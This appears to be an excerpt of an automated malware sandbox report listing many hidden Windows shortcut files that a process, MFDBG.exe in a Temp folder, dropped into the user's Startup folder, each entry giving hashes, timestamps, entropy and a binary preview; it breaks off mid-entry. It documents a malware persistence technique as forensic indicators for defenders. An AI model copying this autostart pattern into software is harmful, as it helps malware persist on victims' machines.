Preview:	L..................F...."...]W%.{....$y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3120fbff3dee49898e73bd97f7c82ebf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9329800458158415
Encrypted:	false
SSDEEP:	24:8whBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iD0R6rMhpBoUBxdRd1nYyg
MD5:	1502400DD26318493D1948C2AE67AB16
SHA1:	57509D608BAAFE0F7917E50E08A2B4FD4948741E
SHA-256:	3DBFE011EF8FABCF315A9151247F0115BE757617B78AB3AC53599522C882F9C5
SHA-512:	B4F0CE409A7B5728BBB88C4CDBFBB4F6057255BFEAB869BAD3541A88EDDBDB42F49276D557BD9062934869F178C08C993E38BDE2DE44C6E5556CEA34A2BCEEC8
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3128d6518f44490ea7b3100f0a3ed70f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932179655269783
Encrypted:	false
SSDEEP:	24:8YhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86KI0R6rMhpBoUBxdRd1nYyg
MD5:	8EE13C9681EDED6D851D2C16DFF46821
SHA1:	E6F3D48A8102A2B2E1854DC8083740245F7E2334
SHA-256:	D5078DC04B76F32604832A5658A21CB145736A516A53C9B00A053C6D5B02D263
SHA-512:	0C04D1EF8B1039EA5A0A5E48B2F07C3750AB7EE4EDE811F622F0F653C6DC7E1DF6547DEB9E01C1B585F47CEEAAB7EE7DC420D12DAFCDB66C63AEC4521B14EE11
Malicious:	false
Preview:	L..................F...."...]W%.{....2T.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_315b540a79ef49d6896cc0e75e55fa66.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93012975835574
Encrypted:	false
SSDEEP:	24:8dPhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8F/0R6rMhpBoUBxdRd1nYyg
MD5:	AD1D2C7A74B7D7190A7D03430A69C7A4
SHA1:	F9C3E0292D499DE3FB876F7C43FFCADB14FF28C4
SHA-256:	4377513F88D19F51921A52D3663CD5DFA4870D1043CFF087851178259502ED6D
SHA-512:	5239FE4B4E729E2676F16145D65A1F5F195D31E8BDD1F9210C2D8D835899F6A47D9143A16CD0D3B377A59BE320C81D05D260938F7FEB28A37BAD011748DEBCE3
Malicious:	false
Preview:	L..................F...."...]W%.{...D\r.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_320fd5ba35144e0d9625b69b2aceb21e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94612514232557
Encrypted:	false
SSDEEP:	24:8phBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pZ0R6rMhpBoUBxdRd1nYyg
MD5:	05C1B8EF88692002594CA31AC9B8FAF3
SHA1:	821B68A7ACA62DE44A521162481ABCC431975B9F
SHA-256:	AB9FA37EBB8810D8701DDAF5D2F76FF27DB3716E53A58A22B02476F0EED66331
SHA-512:	A5F020008470963BF10C1EE0F8C909CC31673B184A3CDC529E8BE5E19E5D0DB1F055EE3B42A85B08C8B069E68D03E62E62BA1750EDADDBCCEF13BB18923E1D09
Malicious:	false
Preview:	L..................F...."...]W%.{....J..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_327adeb97c4f40f2808311f0cdb7b4ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939872871054681
Encrypted:	false
SSDEEP:	24:8KGhBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZE10R6rMhpBoUBxdRd1nYyg
MD5:	B41DB36A9D282C81490A413A2BD783BF
SHA1:	C122027B1B823D60D73FBECC22444D5E848550BC
SHA-256:	67C00DC27B3A25E4A6AD74F64E14E0807205E4931D745FE18D9A47E3A08C80E9
SHA-512:	3E4517C0861C8CA8087C5C3389DF868BA1C6731D8A9C185EBD60324632CD71982EC6D65D915FA6640E903525E4561831CFBA1624BC06FC4D32072892C888C5A3
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32c1d16ee5ca4a97979c4f8eb3455382.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941415910635749
Encrypted:	false
SSDEEP:	24:8yhBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84n0R6rMhpBoUBxdRd1nYyg
MD5:	FCDC81F8411913DA5F0BE9B49DED5DDC
SHA1:	773A0EC100BF30FFC991F481425F823BD0FED09B
SHA-256:	A7633C97261E717A64A070E85793E9C0724ED1C1EFAF30264DE35AB0338DFFFF
SHA-512:	83C87EFA51D71CC50150DCCAC4D76922E12B2818412F0653EE04315A74366A98A03F9ECA0BE96B5977125FDE31BC9B4AB27C6B5E927E37D3907B1AAAB5C851ED
Malicious:	false
Preview:	L..................F...."...]W%.{....#..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32d9905e07c247e5884a03c48f8370c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9394679681674845
Encrypted:	false
SSDEEP:	24:8bhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8f90R6rMhpBoUBxdRd1nYyg
MD5:	046D9794A84973318CFF76B512C2CDE4
SHA1:	CBE3C45B1CA1950FA5284310CFDF7CFE55547277
SHA-256:	B2F58F53CF00B71E17C699A496F03A1E775C6DC02CF4BD0659236C53F0F1A1D2
SHA-512:	A155D11397B9AC23A907D491C12B290733796FA56115C3C4A13609B9FAE01ECFD1C6AFD1FF0858634D364ED73ADA395972E1583421FB30F75697C1D0D1549041
Malicious:	false
Preview:	L..................F...."...]W%.{....p..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33391cf13f354b61ada90f57c31ad046.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939076684175792
Encrypted:	false
SSDEEP:	24:8TPhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ve0R6rMhpBoUBxdRd1nYyg
MD5:	CC8CE9CF3306AE72B5AE83C04269F130
SHA1:	48CFEE66BD8403CC22EABFD851FF6A2F6510FD31
SHA-256:	199BC29BEFDA2364AE47119C1012A42EB88560DA4AC19A06BB23A3ED5CCD2CE5
SHA-512:	8FA8FC8803C98EAC300D8C763236E36DE2C69A6BC101CF4089A5209B82CCE89B59C62C57CEC044E9D17A4080F0B7AFB447513CCAD17B437D6DDAEF0245CF0E8F
Malicious:	false
Preview:	L..................F...."...]W%.{....b..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_341bb7b5582b49609cc2d0e677190a3a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937891681560862
Encrypted:	false
SSDEEP:	24:8dGhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Kd0R6rMhpBoUBxdRd1nYyg
MD5:	CEC4E4AA516314954CBFC95CE46A52FC
SHA1:	3AFF888C56963232AD8A211188D15FDF36BAE768
SHA-256:	2F258A2B4E7B8B7B04F79951863A57497C09E9C3A04C986FDADDA9828EDE5876
SHA-512:	87B83792F1224E88E3FFD94359F4740C2250A80402E83BEF5968D21FF366E2A3BD4F3017525EA7B781F27B22BC489F7DA068A0FA9A6F2719CCC7462C8679AC55
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3431b818a3254d3fadea78118b3c5ac5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939207771933832
Encrypted:	false
SSDEEP:	24:87hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/KI0R6rMhpBoUBxdRd1nYyg
MD5:	C29C6AFEAA8606D72610C51FDBCEBBB8
SHA1:	E05FC20AC54F4B76EA51F6DD1E9993C507C376A3
SHA-256:	2DF1C26A1E90BE38B94C7E04ABB4E714BDBBF9EADEE8AD2A7709C02A74C5A0E2
SHA-512:	D0EC754E3ADAF35A25BB22635AC8BDAEBA3F42AF1666E19B821DE5B66C1BC8FDF9E8954F002ABF750CFBCEA7893D006BC6587E9C3476017E460AB09D0D36A1DD
Malicious:	false
Preview:	L..................F...."...]W%.{.....+.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34432d00fccd42d49655616eefb2e323.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129833
Encrypted:	false
SSDEEP:	24:8AhBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ScT0R6rMhpBoUBxdRd1nYyg
MD5:	8F7D964F7A99923CD0F8394C5BD752EF
SHA1:	27DA9759D39F1A512E7C31D8B49AA3E767694D9B
SHA-256:	AA05CDCD7EC9DB23E0800C740EB2B752D034E0B228397DB91F2D99EBA969CC81
SHA-512:	9857AD843EF8215CE978B7FB82571FAE6AED0B4881AF27FF71A4AB7AB3540F61CC071BB4ED6762820A7DAF586D05C8D9CF471BF78AAAA733E4A8F29D10360034
Malicious:	false
Preview:	L..................F...."...]W%.{....c..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34f7dca7f57b4604ab71549ddd4ccaac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93431282101427
Encrypted:	false
SSDEEP:	24:8+hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ue0R6rMhpBoUBxdRd1nYyg
MD5:	2A3A211454739A919549FB5D60752DCD
SHA1:	DB4371D5BC03C5FB59D106FC955FEE9672321EBD
SHA-256:	B56B508797E7D50FF99C02CB85DF3783B6264B8E70A39A9B3006A0354C11A071
SHA-512:	BD54676B7D62D10D7A04269F3CFDFD4B15FADC20E37ED492E361C3027E8648D1ADC4873950683DF08F0EAB6001F763205964E79F619B5BF5075C6CAD46953526
Malicious:	false
Preview:	L..................F...."...]W%.{...e...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_355ea350ede34aee8c6f4405472af6e0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937533214396429
Encrypted:	false
SSDEEP:	24:8m9hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82C0R6rMhpBoUBxdRd1nYyg
MD5:	E4A3180FE75A5605BCF12C351AA81614
SHA1:	74914510C64EED39A4A79A8881377DDA81175383
SHA-256:	EED8F110B7F71F1C8D670A036AFF5C6E287C4FC1BC7972E67ED56EEB0575EAD1
SHA-512:	4743DF20279C0C757105FFE5A9365CF4431E54C322E8B4386012DF3B00995E5C498277C632EAA89A0C55DFC679EF9DDA71324B02478AF26B39F7744F31BA324F
Malicious:	false
